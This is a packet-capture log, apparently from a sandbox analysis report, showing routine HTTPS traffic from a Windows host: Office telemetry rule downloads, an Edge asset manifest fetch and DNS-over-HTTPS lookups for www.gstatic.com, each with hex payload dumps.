Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:42 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101443Z-174f7845968cdxdrhC1EWRg0en0000000wp00000000098sc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:42 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101443Z-174f7845968kvnqxhC1EWRmf3g0000000fpg000000001sbc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49875	13.107.246.63	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:43 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:44 UTC	577	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:43 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 9a11ecc5-b01e-0075-317f-40efbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T101443Z-174f7845968vqt9xhC1EWRgten0000000wxg000000001ed6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 10:14:44 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-27 10:14:44 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-27 10:14:44 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-27 10:14:44 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-27 10:14:44 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-27 10:14:44 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-27 10:14:44 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-27 10:14:44 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-27 10:14:44 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-27 10:14:44 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49876	162.159.61.3	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 10:14:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 10:14:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 10:14:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e915a5d6af85e7f-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 10:14:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1a 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49877	172.64.41.3	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 10:14:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 10:14:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 10:14:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e915a5d7e60f793-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 10:14:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1a 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49878	162.159.61.3	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 10:14:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 10:14:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 10:14:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e915a5e8e3141f5-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 10:14:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e4 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:44 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
